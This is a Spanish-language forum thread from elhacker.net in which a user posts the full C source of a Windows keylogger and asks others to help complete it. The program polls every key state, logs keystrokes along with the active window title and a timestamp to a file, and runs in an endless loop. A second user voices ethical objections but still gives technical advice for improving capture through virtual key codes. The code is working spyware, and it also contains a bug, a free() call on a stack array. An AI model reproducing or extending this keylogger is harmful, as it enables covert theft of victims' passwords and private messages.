Foro de elhacker.net

Programación => Programación C/C++ => Mensaje iniciado por: Citrusl en 24 Septiembre 2014, 02:25 am



Título: Terminando el Keylogger
Publicado por: Citrusl en 24 Septiembre 2014, 02:25 am
Que tal gente!

Estoy haciendo un keylogger en C++/CPP.

Tomé como influencias ciertos códigos que se han publicado en esta página pero por lo que veo nadie se detuvo a perfeccionar este pequeño keylogger. Lo cual me resulta un desperdicio de posibilidades y talento. (LEER AL FINAL DEL CODIGO)

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <time.h>

#define OK -32767

int main() {
   
    FILE *log; 
    HWND ventana;   
    time_t ltime;
    int tecla=0;
    int cont=0;
    char TVentana[500] = "";                     
    char Teclas[10240]=""; //      0  1      2          3          4  5          6  7  8              9       10
    char simbol[256][15] =/*0*/  {"","","[CliC-I]","[CliC-D]","","[CliC-C]","","","[Retroceder]","[TAB]","",
                          /*1*/      "","","[ENTER]","","","[SHIFT]","[CONTROL]","[ALT]","","[Mayusculas]",
                          /*2*/      "","","","","","","[Esc]","","","",
                          /*3*/      ""," ","[Re-Pag]","[Av-Pag]","","[Inicio]","[Izquierda]","[Arriba]","[Derecha]","[Abajo]",
                          /*4*/      "","","","[PrtSc]","[Insert]","[Supr]","","0","1","2",
                          /*5*/      "3","4","5","6","7","8","9","","","",
                          /*6*/      "","","","","a","b","c","d","e","f",
                          /*7*/      "g","h","i","j","k","l","m","n","o","p",
                          /*8*/      "q","r","s","t","u","v","w","x","y","z",
                          /*9*/      "[WIN-I]","[WIN-D]","[D-WIN]","","","0","1","2","3",
                          /*10*/     "4","5","6","7","8","9","*","+"," ","-",".",
                          /*11*/     "/","[F1]","[F2]","[F3]","[F4]","[F5]","[F6]","[F7]","[F8]","[F9]",
                          /*12*/     "[F10]","[F11]","[F12]"," "," "," "," "," "," "," ",
                          /*13*/     " "," "," "," "," "," "," "," "," "," "," ",
                          /*14*/     " "," ","[Bloq Num]"," "," "," "," "," "," ",
                          /*15*/     " "," "," "," "," "," "," "," "," ","[Shift-I]",
                          /*16*/     "[Shift-D]"," "," "," "," "," "," "," "," "," ",
                          /*17*/     " "," "," "," "," "," "," "," "," "," ",
                          /*18*/     " "," "," "," "," "," "," ",",","-",".",
                          /*19*/     " "," "," "," "," "," "," "," "," ",
                          /*20*/     " "," "," "," "," "," "," "," "," "," "," ",
                          /*21*/     " "," "," "," "," "," "," "," ","'","\\",
                          /*22*/     "¡","´" };
     
   log=fopen("log.log","a");
   fprintf(log,"\n/******************************/");
   fprintf(log,"\n/*
  • KeyLoGuer   */");
   fprintf(log,"\n/*
  • Iniciando...OK ");
   fprintf(log,"\n/******************************/");
   fclose(log);
           
   ventana=GetForegroundWindow();
   
   while(1) {
      if((GetForegroundWindow()!=ventana) || (cont==850)){
         if(strlen(TVentana)>0 && strlen(Teclas)>0) {
            time(&ltime);
            ctime(&ltime);

            log=fopen("log.log","a");
            fprintf(log,"\n\n
  • Fecha: %s",ctime(&ltime));
            fprintf(log,"
  • Ventana: %s ",TVentana);
            fprintf(log,"\n
  • Texto: %s",Teclas);
            fprintf(log,"\n ");
            fprintf(log,"\n/******************************/\n");
            fclose(log);

            free(Teclas);
            strcpy(Teclas,"");
            cont = 0;
            }
         ventana=GetForegroundWindow();
         }
      else {
           GetWindowText(ventana,TVentana,500);
           }
      for(tecla=4;tecla<256;tecla++) {
          if (GetAsyncKeyState(tecla)==OK) {
              strcat(Teclas,simbol[tecla]);
              printf(" %s \n" ,simbol[tecla]);
              cont++;
              }
          }
    }
}

Muy buen código y de todos los que vi buscando por internet fue el más simple y efectivo. De todas formas NINGUNO de estos keyloggers puede detectar todo el codigo ASCII.

Veamos un ejemplo mientras se ejecuta el programa: Si alguien teclea ALT+265 se crea el simbolo "○", Sin embargo en el .log solo se guarda ALT ALT ALT ... 

NINGUN KEYLOGGER HECHOS EN C++ HASTA AHORA RECONOCE TODA LA SIMBOLOGIA Y ESTO REQUIERE MEJORAS.

Por favor alguien sabe como completar el código? Es posible hacerlo en C++?


Título: Re: Terminando el Keylogger
Publicado por: engel lex en 24 Septiembre 2014, 02:36 am
usa las etiquetas GeShi para publicar codigo, realmente nadie se a dedicado a mejorarlo porque muchos codigos están puestos por mera razon de analisis o gente queriendo mostrar su "gran" conocimiento en malware, pero el foro en general está contra los actos no eticos o criminales... por eso es que no ves grandes avances el estos temas como un post, es más que todo aprender que hace y como


Título: Re: Terminando el Keylogger
Publicado por: Citrusl en 24 Septiembre 2014, 02:42 am
Esto es como la ciencia. Puede usarse para el bien o para el mal.

Pero creo que todos estamos de acuerdo en que esta debe seguir avanzando.

Creo que es un buen ejemplo para resolver desde el lado ético. Convengamos que es un keylogger muy simple, fácilmente detectable y es poco probable que alguien pueda usarlo de forma maligna a gran escala.


Título: Re: Terminando el Keylogger
Publicado por: engel lex en 24 Septiembre 2014, 02:51 am
por cierto, modifica el tema y coloca el código en GeSHi  ::)

(por cierto, esto debería haber ido en la sección de "desarrollo y analisis de malware", según creo, pero ya un moderador lo moverá de ser necesario)
realmente no me meto en el tema de los malware, para ser sincero soy muy nazi  con estos temas :laugh: y no veo la manera etica de usar un keylogger (el hecho no es que sea detectable, eso no le da ética, solo lo hace inútil para lammers, que semos sinceros, ya es un buen progreso)... pero solo por el "bien del progreso", tiene un gran error... el codigo lee las letras que llegan al sistema operativo, en lugar de leer las teclas presionadas, con (creo que microsoft lo llama) virtual key code, lees eso y no importa si es ascii o no, porque lo importante va a ser la tecla que se presionó y su representación unicode


Título: Re: Terminando el Keylogger
Publicado por: Citrusl en 24 Septiembre 2014, 02:54 am
Lo siento, es la primera ves que entro al foro. Apenas le estoy agarrando la mano.

Espero que al menos alguien pueda ayudarme a terminarlo. No eh encontrado nada al respecto sobre este tema.

Gracias por moverlo a la categoría correcta y disculpen las molestias!


Título: Re: Terminando el Keylogger
Publicado por: engel lex en 24 Septiembre 2014, 02:57 am
tranquilo... pero si quieres ve buscando aqui en c++ como aceptar caracteres unicode

ya conseguí el tema
http://msdn.microsoft.com/en-us/library/windows/desktop/dd375731(v=vs.85).aspx (http://msdn.microsoft.com/en-us/library/windows/desktop/dd375731(v=vs.85).aspx)

fíjate que incluso acepta los botones de "play" y cosas así...